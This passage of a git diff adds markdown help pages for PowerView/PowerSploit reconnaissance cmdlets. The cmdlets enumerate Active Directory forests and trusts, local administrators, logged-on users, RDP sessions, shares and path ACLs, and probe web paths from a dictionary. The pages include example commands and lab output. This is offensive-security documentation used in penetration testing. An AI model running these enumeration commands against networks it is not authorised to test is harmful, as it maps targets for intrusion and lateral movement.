= New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestDomain -Credential $Cred + +## PARAMETERS + +### -Forest +Specifies the forest name to query for domains. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target forest. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.DirectoryServices.ActiveDirectory.Domain + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-ForestGlobalCatalog.md b/docs/Recon/Get-ForestGlobalCatalog.md new file mode 100755 index 00000000..c6da4bd5 --- /dev/null +++ b/docs/Recon/Get-ForestGlobalCatalog.md @@ -0,0 +1,78 @@ +# Get-ForestGlobalCatalog + +## SYNOPSIS +Return all global catalogs for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +## SYNTAX + +``` +Get-ForestGlobalCatalog [[-Forest] ] [-Credential ] +``` + +## DESCRIPTION +Returns all global catalogs for the current forest or the forest specified +by -Forest X by using Get-Forest to retrieve the specified forest object +and the .FindAllGlobalCatalogs() to enumerate the global catalogs. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ForestGlobalCatalog +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestGlobalCatalog -Credential $Cred + +## PARAMETERS + +### -Forest +Specifies the forest name to query for global catalogs. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.DirectoryServices.ActiveDirectory.GlobalCatalog + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-ForestTrust.md b/docs/Recon/Get-ForestTrust.md new file mode 100755 index 00000000..0ff5e3d5 --- /dev/null +++ b/docs/Recon/Get-ForestTrust.md @@ -0,0 +1,91 @@ +# Get-ForestTrust + +## SYNOPSIS +Return all forest trusts for the current forest or a specified forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +## SYNTAX + +``` +Get-ForestTrust [[-Forest] ] [-Credential ] +``` + +## DESCRIPTION +This function will enumerate domain trust relationships for the current (or a remote) +forest using number of method using the .NET method GetAllTrustRelationships() on a +System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ForestTrust +``` + +Return current forest trusts. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ForestTrust -Forest "external.local" +``` + +Return trusts for the "external.local" forest. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestTrust -Forest "external.local" -Credential $Cred + +Return trusts for the "external.local" forest using the specified alternate credenitals. + +## PARAMETERS + +### -Forest +Specifies the forest to query for trusts, defaults to the current forest. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods (default). + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-HttpStatus.md b/docs/Recon/Get-HttpStatus.md new file mode 100755 index 00000000..a8a7dbb3 --- /dev/null +++ b/docs/Recon/Get-HttpStatus.md @@ -0,0 +1,106 @@ +# Get-HttpStatus + +## SYNOPSIS +Returns the HTTP Status Codes and full URL for specified paths. + +PowerSploit Function: Get-HttpStatus +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Get-HttpStatus [-Target] [[-Path] ] [[-Port] ] [-UseSSL] +``` + +## DESCRIPTION +A script to check for the existence of a path or file on a webserver. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt | Select-Object {where StatusCode -eq 20*} +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL +``` + +## PARAMETERS + +### -Target +Specifies the remote web host either by IP or hostname. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Path +Specifies the remost host. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: .\Dictionaries\admin.txt +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Port +Specifies the port to connect to. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UseSSL +Use an SSL connection. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +HTTP Status Codes: 100 - Informational * 200 - Success * 300 - Redirection * 400 - Client Error * 500 - Server Error + +## RELATED LINKS + +[http://obscuresecurity.blogspot.com +http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html]() + diff --git a/docs/Recon/Get-NetComputerSiteName.md b/docs/Recon/Get-NetComputerSiteName.md new file mode 100755 index 00000000..1a3a964c --- /dev/null +++ b/docs/Recon/Get-NetComputerSiteName.md @@ -0,0 +1,89 @@ +# Get-NetComputerSiteName + +## SYNOPSIS +Returns the AD site where the local (or a remote) machine resides. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetComputerSiteName [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will use the DsGetSiteName Win32API call to look up the +name of the site where a specified computer resides. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local +``` + +Returns the site for WINDOWS1.testlab.local. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainComputer | Get-NetComputerSiteName +``` + +Returns the sites for every machine in AD. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to check the site for (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ComputerSite + +A PSCustomObject containing the ComputerName, IPAddress, and associated Site name. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-NetLocalGroup.md b/docs/Recon/Get-NetLocalGroup.md new file mode 100755 index 00000000..29ac4d6b --- /dev/null +++ b/docs/Recon/Get-NetLocalGroup.md @@ -0,0 +1,132 @@ +# Get-NetLocalGroup + +## SYNOPSIS +Enumerates the local groups on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Get-NetLocalGroup [[-ComputerName] ] [-Method ] [-Credential ] +``` + +## DESCRIPTION +This function will enumerate the names and descriptions for the +local groups on the current, or remote, machine. +By default, the Win32 API +call NetLocalGroupEnum will be used (for speed). +Specifying "-Method WinNT" +causes the WinNT service provider to be used instead, which returns group +SIDs along with the group names and descriptions/comments. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetLocalGroup +``` + +ComputerName GroupName Comment +------------ --------- ------- +WINDOWS1 Administrators Administrators have comple... +WINDOWS1 Backup Operators Backup Operators can overr... +WINDOWS1 Cryptographic Operators Members are authorized to ... +... + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetLocalGroup -Method Winnt +``` + +ComputerName GroupName GroupSID Comment +------------ --------- -------- ------- +WINDOWS1 Administrators S-1-5-32-544 Administrators hav... +WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c... +WINDOWS1 Cryptographic Opera... +S-1-5-32-569 Members are author... +... + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-NetLocalGroup -ComputerName primary.testlab.local +``` + +ComputerName GroupName Comment +------------ --------- ------- +primary.testlab.local Administrators Administrators have comple... +primary.testlab.local Users Users are prevented from m... +primary.testlab.local Guests Guests have the same acces... +primary.testlab.local Print Operators Members can administer dom... +primary.testlab.local Backup Operators Backup Operators can overr... + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Method +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: CollectionMethod + +Required: False +Position: Named +Default value: API +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to a remote machine. +Only applicable with "-Method WinNT". + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LocalGroup.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroup.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +## NOTES + +## RELATED LINKS + +[https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx) + diff --git a/docs/Recon/Get-NetLocalGroupMember.md b/docs/Recon/Get-NetLocalGroupMember.md new file mode 100755 index 00000000..302302bd --- /dev/null +++ b/docs/Recon/Get-NetLocalGroupMember.md @@ -0,0 +1,212 @@ +# Get-NetLocalGroupMember + +## SYNOPSIS +Enumerates members of a specific local group on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Convert-ADName + +## SYNTAX + +``` +Get-NetLocalGroupMember [[-ComputerName] ] [-GroupName ] [-Method ] + [-Credential ] +``` + +## DESCRIPTION +This function will enumerate the members of a specified local group on the +current, or remote, machine. +By default, the Win32 API call NetLocalGroupGetMembers +will be used (for speed). +Specifying "-Method WinNT" causes the WinNT service provider +to be used instead, which returns a larger amount of information. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetLocalGroupMember | ft +``` + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... +S-1-5-21-25... +False False +WINDOWS1 Administrators WINDOWS1\lo... +S-1-5-21-25... +False False +WINDOWS1 Administrators TESTLAB\Dom... +S-1-5-21-89... +True True +WINDOWS1 Administrators TESTLAB\har... +S-1-5-21-89... +False True + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetLocalGroupMember -Method winnt | ft +``` + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... +S-1-5-21-25... +False False +WINDOWS1 Administrators WINDOWS1\lo... +S-1-5-21-25... +False False +WINDOWS1 Administrators TESTLAB\Dom... +S-1-5-21-89... +True True +WINDOWS1 Administrators TESTLAB\har... +S-1-5-21-89... +False True + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-NetLocalGroup | Get-NetLocalGroupMember | ft +``` + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... +S-1-5-21-25... +False False +WINDOWS1 Administrators WINDOWS1\lo... +S-1-5-21-25... +False False +WINDOWS1 Administrators TESTLAB\Dom... +S-1-5-21-89... +True True +WINDOWS1 Administrators TESTLAB\har... +S-1-5-21-89... +False True +WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... +False False +WINDOWS1 IIS_IUSRS NT AUTHORIT... +S-1-5-17 False False +WINDOWS1 Users NT AUTHORIT... +S-1-5-4 False False +WINDOWS1 Users NT AUTHORIT... +S-1-5-11 False False +WINDOWS1 Users WINDOWS1\lo... +S-1-5-21-25... +False UNKNOWN +WINDOWS1 Users TESTLAB\Dom... +S-1-5-21-89... +True UNKNOWN + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft +``` + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +primary.tes... +Administrators TESTLAB\Adm... +S-1-5-21-89... +False False +primary.tes... +Administrators TESTLAB\loc... +S-1-5-21-89... +False False +primary.tes... +Administrators TESTLAB\Ent... +S-1-5-21-89... +True False +primary.tes... +Administrators TESTLAB\Dom... +S-1-5-21-89... +True False + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -GroupName +The local group name to query for users. +If not given, it defaults to "Administrators". + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: True (ByPropertyName) +Accept wildcard characters: False +``` + +### -Method +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: CollectionMethod + +Required: False +Position: Named +Default value: API +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to a remote machine. +Only applicable with "-Method WinNT". + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +## NOTES + +## RELATED LINKS + +[http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together +http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx](http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together +http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx) + diff --git a/docs/Recon/Get-NetLoggedon.md b/docs/Recon/Get-NetLoggedon.md new file mode 100755 index 00000000..024d1b25 --- /dev/null +++ b/docs/Recon/Get-NetLoggedon.md @@ -0,0 +1,100 @@ +# Get-NetLoggedon + +## SYNOPSIS +Returns users logged on the local (or a remote) machine. +Note: administrative rights needed for newer Windows OSes. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetLoggedon [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will execute the NetWkstaUserEnum Win32API call to query +a given host for actively logged on users. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetLoggedon +``` + +Returns users actively logged onto the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetLoggedon -ComputerName sqlserver +``` + +Returns users actively logged onto the 'sqlserver' host. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-NetLoggedon +``` + +Returns all logged on users for all computers in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetLoggedon -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for logged on users (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LoggedOnUserInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/) + diff --git a/docs/Recon/Get-NetRDPSession.md b/docs/Recon/Get-NetRDPSession.md new file mode 100755 index 00000000..ff18322e --- /dev/null +++ b/docs/Recon/Get-NetRDPSession.md @@ -0,0 +1,104 @@ +# Get-NetRDPSession + +## SYNOPSIS +Returns remote desktop/session information for the local (or a remote) machine. + +Note: only members of the Administrators or Account Operators local group +can successfully execute this functionality on a remote target. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetRDPSession [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation +Win32API calls to query a given RDP remote service for active sessions and originating +IPs. +This is a replacement for qwinsta. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetRDPSession +``` + +Returns active RDP/terminal sessions on the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetRDPSession -ComputerName "sqlserver" +``` + +Returns active RDP/terminal sessions on the 'sqlserver' host. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainController | Get-NetRDPSession +``` + +Returns active RDP/terminal sessions on all domain controllers. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetRDPSession -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for active sessions (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.RDPSessionInfo + +A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure, +with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx) + diff --git a/docs/Recon/Get-NetSession.md b/docs/Recon/Get-NetSession.md new file mode 100755 index 00000000..d9e2f50a --- /dev/null +++ b/docs/Recon/Get-NetSession.md @@ -0,0 +1,99 @@ +# Get-NetSession + +## SYNOPSIS +Returns session information for the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetSession [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will execute the NetSessionEnum Win32API call to query +a given host for active sessions. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetSession +``` + +Returns active sessions on the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetSession -ComputerName sqlserver +``` + +Returns active sessions on the 'sqlserver' host. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainController | Get-NetSession +``` + +Returns active sessions on all domain controllers. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetSession -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.SessionInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the CName/UserName/Time/IdleTime for each session, with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/) + diff --git a/docs/Recon/Get-NetShare.md b/docs/Recon/Get-NetShare.md new file mode 100755 index 00000000..b3f2abe6 --- /dev/null +++ b/docs/Recon/Get-NetShare.md @@ -0,0 +1,100 @@ +# Get-NetShare + +## SYNOPSIS +Returns open shares on the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetShare [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will execute the NetShareEnum Win32API call to query +a given host for open shares. +This is a replacement for "net share \\\\hostname". + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetShare +``` + +Returns active shares on the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetShare -ComputerName sqlserver +``` + +Returns active shares on the 'sqlserver' host + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-NetShare +``` + +Returns all shares for all computers in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetShare -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for shares (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ShareInfo + +A PSCustomObject representing a SHARE_INFO_1 structure, including +the name/type/remark for each share, with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/) + diff --git a/docs/Recon/Get-PathAcl.md b/docs/Recon/Get-PathAcl.md new file mode 100755 index 00000000..448212fd --- /dev/null +++ b/docs/Recon/Get-PathAcl.md @@ -0,0 +1,94 @@ +# Get-PathAcl + +## SYNOPSIS +Enumerates the ACL for a given file path. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID + +## SYNTAX + +``` +Get-PathAcl [-Path] [[-Credential] ] +``` + +## DESCRIPTION +Enumerates the ACL for a specified file/folder path, and translates +the access rules for each entry into readable formats. +If -Credential is passed, +Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-PathAcl "\\SERVER\Share\" +``` + +Returns ACLs for the given UNC share. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +gci .\test.txt | Get-PathAcl +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +Get-PathAcl -Path "\\\\SERVER\Share\" -Credential $Cred + +## PARAMETERS + +### -Path +Specifies the local or remote path to enumerate the ACLs for. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: FullName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target path. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +One of more paths to enumerate ACLs for. + +## OUTPUTS + +### PowerView.FileACL + +A custom object with the full path and associated ACL entries. + +## NOTES + +## RELATED LINKS + +[https://support.microsoft.com/en-us/kb/305144](https://support.microsoft.com/en-us/kb/305144) + diff --git a/docs/Recon/Get-RegLoggedOn.md b/docs/Recon/Get-RegLoggedOn.md new file mode 100755 index 00000000..2fd6e091 --- /dev/null +++ b/docs/Recon/Get-RegLoggedOn.md @@ -0,0 +1,89 @@ +# Get-RegLoggedOn + +## SYNOPSIS +Returns who is logged onto the local (or a remote) machine +through enumeration of remote registry keys. + +Note: This function requires only domain user rights on the +machine you're enumerating, but remote registry must be enabled. + +Author: Matt Kelly (@BreakersAll) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID + +## SYNTAX + +``` +Get-RegLoggedOn [[-ComputerName] ] +``` + +## DESCRIPTION +This function will query the HKU registry values to retrieve the local +logged on users SID and then attempt and reverse it. +Adapted technique from Sysinternal's PSLoggedOn script. +Benefit over +using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges +required (NetWkstaUserEnum requires remote admin access). + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-RegLoggedOn +``` + +Returns users actively logged onto the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-RegLoggedOn -ComputerName sqlserver +``` + +Returns users actively logged onto the 'sqlserver' host. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainController | Get-RegLoggedOn +``` + +Returns users actively logged on all domain controllers. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + 